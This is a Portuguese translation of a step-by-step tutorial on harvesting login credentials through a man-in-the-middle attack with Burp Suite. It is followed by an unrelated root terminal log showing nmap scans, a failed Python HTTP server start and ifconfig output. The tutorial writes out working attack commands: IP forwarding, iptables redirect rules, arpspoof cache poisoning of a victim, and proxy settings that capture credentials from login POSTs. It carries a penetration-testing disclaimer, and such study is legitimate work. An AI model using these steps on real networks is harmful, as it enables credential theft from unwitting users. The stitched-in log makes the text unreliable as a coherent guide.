You are on page 1of 4

.--------------------------------------------------------------.

.---=[Credential Harvesting via MiTM – Burp Suite Tutorial]=---.


.--------------------------------------------------------------..:https://www.pente
stgeek.com/penetration-testing/credential-harvesting-via-mitm-burp-suite-
tutorial:..

imagem_00

Ativar roteamento

Neste tutorial passo a passo, discutiremos alguns dos casos de uso mais avançados
para o Burp Suite. Colheita de credenciais através de vetores de ataque Man In The
Middle pode ser sua graça salvadora durante um teste de penetração de outra forma
sem intercorrências. Você pode assistir a uma versão em vídeo deste tutorial aqui.
Este guia destina-se a ser educacional, bem como divertido. O autor não tolera nem
incentiva atividades ilegais de hackers.
Ativar roteamento

A primeira coisa que você vai querer fazer é permitir que sua máquina atacante
direcione o tráfego. Dessa forma, quando sua máquina vítima fizer uma solicitação
para um servidor HTTP externo, você encaminhará a solicitação e interceptará a
resposta do servidor. Esse comportamento é necessário para ataques de coleta de
credenciais. Se isso ajudar, você pode pensar em si mesmo como um proxy de
interceptação muito parecido com o que estamos usando neste tutorial.

#ProTip Quando você tentar isso sozinho e as coisas inevitavelmente não funcionarem
tão facilmente como eu as descrevi, verifique isso primeiro!

---:# echo 1 > /proc/sys/net/ipv4/ip_forward

Configurar tabelas de IP

Esta etapa cria duas regras de firewall que encaminharão todas as solicitações de
saída para as portas 80 e 443 na sua máquina atacante. Se o seu endereço IP for
"192.168.10.100", substitua "x.x.x.x" por esse endereço. Mais tarde, contaremos ao
Burp Suite para ouvir essas duais portas.

---:# iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination


x.x.x.x
---:# iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination
x.x.x.x

Configurar Burp Suite

Em seguida, avisaremos ao Burp Suite para fazer frente a dois proxies de escuta, um
na porta 80 e outro na porta 443:
.Clique na guia proxy e, em seguida, clique na subguia Opções.
.Clique no botão adicionar e digite ‘443’ para a porta de ligação.
.Selecione o botão de opção todas as interfaces.
.Clique na guia de manipulação de solicitações e marque a caixa de suporte ao
proxy invisível.

Se você comprou ou "adquiriu" um certificado SSL, pode configurá-lo na guia


"Certificado". Se não, deixe essas configurações do jeito que estão. Repita as
etapas acima para a porta "80" também.

imagem_02

Tutorial Burp Suite - Colheita Credencial MiTM

#ProTip Não se preocupe se não puder obter um certificado SSL legítimo. 90% de
todos os usuários clicarão em "continue assim mesmo e morra lentamente de câncer",
se solicitado.

Envenenamento com ARPSpoof

A última coisa que você precisa fazer antes de começar a coleta de credenciais é
envenenar o cache ARP da vítima. Isso afetivamente faz com que a vítima pense que
você é o seu principal gateway. Supondo que sua vítima esteja em "192.168.1.101".

---:# arpspoof -i eth0 -t 192.168.1.101 192.168.1.1

#ProTip Trate este vetor de ataque como um bisturi e não uma metralhadora. Ou seja,
somente alvos individuais cuidadosamente escolhidos de veneno não são sub-redes
inteiras.

Colheita Credencial

Agora você só precisa sentar e esperar que sua vítima faça login em um aplicativo
HTTP ou HTTPS. Suas credenciais serão exibidas dentro de uma solicitação POST na
interface do Burp Suite. Preste atenção no log de alertas no Burp Suite. Essas
informações podem ajudá-lo a solucionar possíveis problemas de conectividade. Com
sorte, você encontrará um usuário se autenticando em um aplicativo .NET criado
internamente ou na página Intranet da empresa usando as credenciais do Active
Directory.

imagem_03

Pedido POST de Colheita de Credenciais

TRACEROUTE
HOP RTT ADDRESS
1 1.62 ms 192.168.2.1

Nmap scan report for 192.168.2.100


Host is up (0.031s latency).
All 1000 scanned ports on 192.168.2.100 are closed
MAC Address: 68:C4:4D:DA:22:C4 (Motorola Mobility, a Lenovo Company)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 30.50 ms 192.168.2.100

Nmap scan report for 192.168.2.102


Host is up (0.016s latency).
All 1000 scanned ports on 192.168.2.102 are closed
MAC Address: 50:92:B9:D8:19:3C (Samsung Electronics)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 15.92 ms 192.168.2.102

Nmap scan report for 192.168.2.101


Host is up (0.000088s latency).
All 1000 scanned ports on 192.168.2.101 are closed
Too many fingerprints match this host to give specific OS details
Network Distance: 0 hops

OS and Service detection performed. Please report any incorrect results at


https://nmap.org/submit/ .
Nmap done: 256 IP addresses (4 hosts up) scanned in 173.78 seconds
root@pernalong:/home/pernalong#
root@pernalong:/home/pernalong# cd /home/pernalong/Documentos/
root@pernalong:/home/pernalong/Documentos# python -m SimpleHTTPServer 80
Traceback (most recent call last):
File "/usr/lib/python2.7/runpy.py", line 174, in _run_module_as_main
"__main__", fname, loader, pkg_name)
File "/usr/lib/python2.7/runpy.py", line 72, in _run_code
exec code in run_globals
File "/usr/lib/python2.7/SimpleHTTPServer.py", line 235, in <module>
test()
File "/usr/lib/python2.7/SimpleHTTPServer.py", line 231, in test
BaseHTTPServer.test(HandlerClass, ServerClass)
File "/usr/lib/python2.7/BaseHTTPServer.py", line 606, in test
httpd = ServerClass(server_address, HandlerClass)
File "/usr/lib/python2.7/SocketServer.py", line 417, in __init__
self.server_bind()
File "/usr/lib/python2.7/BaseHTTPServer.py", line 108, in server_bind
SocketServer.TCPServer.server_bind(self)
File "/usr/lib/python2.7/SocketServer.py", line 431, in server_bind
self.socket.bind(self.server_address)
File "/usr/lib/python2.7/socket.py", line 228, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 98] Address already in use
root@pernalong:/home/pernalong/Documentos# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.2.103 netmask 255.255.255.0 broadcast 192.168.2.255
inet6 fe80::b3e7:78e1:4439:1145 prefixlen 64 scopeid 0x20<link>
ether d8:50:e6:9e:40:37 txqueuelen 1000 (Ethernet)
RX packets 11699 bytes 7607214 (7.2 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 10948 bytes 1593258 (1.5 MiB)
TX errors 7 dropped 0 overruns 0 carrier 0 collisions 0

You might also like